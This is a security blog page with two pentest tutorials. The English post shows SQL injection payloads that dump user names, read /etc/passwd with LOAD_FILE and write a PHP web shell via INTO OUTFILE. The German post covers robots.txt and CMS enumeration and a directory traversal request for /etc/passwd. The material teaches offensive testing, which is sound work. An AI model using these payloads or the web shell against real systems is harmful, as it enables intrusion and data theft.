Blog

mkind

File Write via SQL

Hi folks,

you probably know SQL injections. SQL injections provide a lot of fun concerning database manipulation. But it is also a great way to read and write files.

Consider the website example.com. In our example, the application provides a version parameter that is susceptible to SQL injections. As consequence, an attacker is enabled to do database voodoo like

http://example.com/index.php?version=1.0' UNION ALL SELECT NULL,NULL,username FROM users--

This should return a list of user names that are stored in the table users. If you have no idea how this actually works, I recommend reading some SQL injection literature given in Further Reading.

Reading Files

The following listing is slightly edited to give us the content of the file /etc/passwd. This is done via LOAD_FILE. Note, this only works with files readable for the database user.

http://example.com/index.php?version=1.0' UNION ALL SELECT NULL,NULL,LOAD_FILE("/etc/passwd") FROM users--

Writing Files

After reading files, let's go ahead writing them. The listing has changed once more to write to an outfile via the SELECT ... INTO OUTFILE statement.

http://example.com/index.php?version=1.0' UNION ALL SELECT NULL,NULL,"<?php echo "hello world"; ?> INTO OUTFLIE "/var/www/vhosts/example.com/foobar.php"--

The fun part is, that our php statement is written into /var/vhosts/example.com/foobar.php. Writing files is a big win for every adversary. A possible next step is to write <? system($_GET['cmd']); ?> into a file readable for the web server. In case of success, the attacker has a nice remote shell by using http://example.com/foobar.php?cmd=ls -l.

Further Reading

mkind

Penetrationstest Teil 2

Der zweite Teil unserer kleinen Serie rund um Penetrationstests dreht sich um die Analyse der Sicherheit, bzw. das was häufig als der eigentliche Angriff wahrgenommen wird. Damit Angriffe möglichst erfolgreich verlaufen, investieren Penetrationstester und Angreifer viel Zeit, um alle möglichen Informationen über ihr Ziel zu sammeln. Details hierzu hatten wir bereits im letzten Teil unserer Serie besprochen.

Bei einem Penetrationstest, kurz Pentest, versuchen sich Angreifer ganz unterschiedliche Probleme zu eigen zu machen. Genauso unterschiedlich wie die Ursachen sind ihre Folgen. Da das Thema sehr umfangreich ist, gehe ich nur auf ein paar Klassiker ein, die bei Webseiten immer wieder auftreten:

  1. Fehlerhafte Konfigurationen finden
  2. Entlarven von Authentifizierungsproblemen
  3. Ein- und Ausgaben manipulieren

Da jeder dieser Punkte ein paar erklärende Sätze verdient, werde ich sie in unterschiedlichen Blogeinträgen aufarbeiten. Der erste Punkt beschäftigt sich mit der Problemstellung, dass eine Web-Anwendung oder ein Web-Server durch Misskonfigurationen angreifbar werden. Im zweiten Punkte wird dann besprochen wie ein Angreifer beispielsweise versucht, Passworteingaben zu umgehen. Und zu guter Letzt möchte ich ein paar Beispiele für Cross-Site-Scripting und SQL-Injektionen und ihre Folgen aufzeigen.

Fehlerhafte Konfigurationen finden

Robots.txt durchsuchen

Eine Seite, die vermutlich zu den meistbesuchtesten Seiten im Internet gehört, ist die /robots.txt. Web-Crawler wie sie beispielsweise von Suchmaschinen eingesetzt werden suchen diese Datei auf, um zu wissen, welche Seiten sie von der Webanwendung indizieren können und welche sie lieber ignorieren sollen. Vor allem der letzte Teil verleitet viele Administratoren dazu, in die robots.txt Seiten mit sensitiven Informationen zu schreiben, damit diese nicht über Suchmaschinen auffindbar sind. Ein Beispiel wie es uns schon in freier Wildbahn begegnet ist, soll das folgende Snippet sein :

User-Agent:*
Disallow: /assets/wichtiger-vertrag_1.pdf
Disallow: /assets/wichtiger-vertrag_2.pdf

In diesem Beispiel sind Pfade zu eigentlich geheimen Verträgen eingetragen. Ein Angreifer kann sich diese Information leicht zu nutze machen. Des Weiteren lässt die Art der Benamung darauf schließen, dass die Verträge durchnummeriert werden. Ein naheliegender Schritt wäre also, weitere Verträge wie /assets/wichtiger-vertrag_3.pdf und /assets/wichtiger-vertrag_4.pdf auszuprobieren. Man spricht in diesem Zusammenhang auch von einer File Enumeration.

Login-Seiten finden

Neben Dateien ist es für einen Angreifer auch spannend, Login-Seiten zu enummerieren. Die robots.txt kann auch hierbei behilflich sein. Findet sich darin keine Information, lassen sich häufig im Quelltext einer Webseite nötige Informationen finden. Das folgende Beispiel zeigt einen Ausschnitt einer Webseite:

...
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://example.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 4.6.1" />
...

Dieser Ausschnitt offenbart, dass die Webseite mit dem Wordpress-CMS erstellt worden ist. Auch die genaue Version kann ein Angreifer hier entnehmen, um im Weiteren nach zugehörigen Schwachstellen zu suchen. Findet sich keine solche offensichtliche Information, verraten die verlinkten Pfade in der Regel wichtige Details. So tauchen in Wordpress häufig Pfade mit dem Prefix wp- auf. Das obere Beispiel enthält einen entsprechenden Pfad zu einer XML-Dateien. Mit der Kenntnis, dass es sich bei der vorliegenden Anwendung um eine Wordpress-Applikation handelt, kann ein Angreifer nun gezielt versuchen, die Login-Seite example.com/wp-admin oder example.com/wp-login.php aufzurufen.

Dieses Vorgehen ist übrigens nicht auf Wordpress-Seiten beschränkt, sondern gilt auch für andere CMS. Sollten trotz Recherche keinen Informationen auf ein bestimmtest CMS hinweisen, bleibt immer noch die Möglichkeit, Seiten zu raten, bzw. auszuprobieren.

Verzeichnisse lesen

Eine weiteres sehr beliebtes Vorgehen nennt man im Englischen Directory Traversal und beschreibt einen Angriff, bei dem es möglich ist, auf normalerweise nicht verfügbare Dateien zuzugreifen.

Die folgende HTTP-Anfrage greift auf die index.html-Seite einer Anwendung zu:

GET /main.cgi?file=index.html HTTP/1.1
Host: www.example.com

Um die Seite auszuliefern, wird das Skript main.cgi ausgeführt und der Parameter file= ausgewertet. Wird die Eingabe nicht ordnungsgemäß validiert, kann ein Angreifer oder Pentester versuchen, den Parameter so zu verändern, dass lokale Dateien ausgeliefert werden. Die folgende Anfrage verdeutlicht dieses Vorgehen, indem sie die Datei /etc/passwd versucht auszulesen.

GET /main.cgi?file=../../../../etc/passwd HTTP/1.1
Host: www.example.com

Liefert die Webanwendungen nun als Antwort den Inhalt der entsprechenden Datei, handelt es sich um eine schwerwiegende Sicherheitslücke.

Weitere typische Probleme, insbesondere Authentifizierungsprobleme, diskutieren wir dann in einem der nächsten Blogeinträge.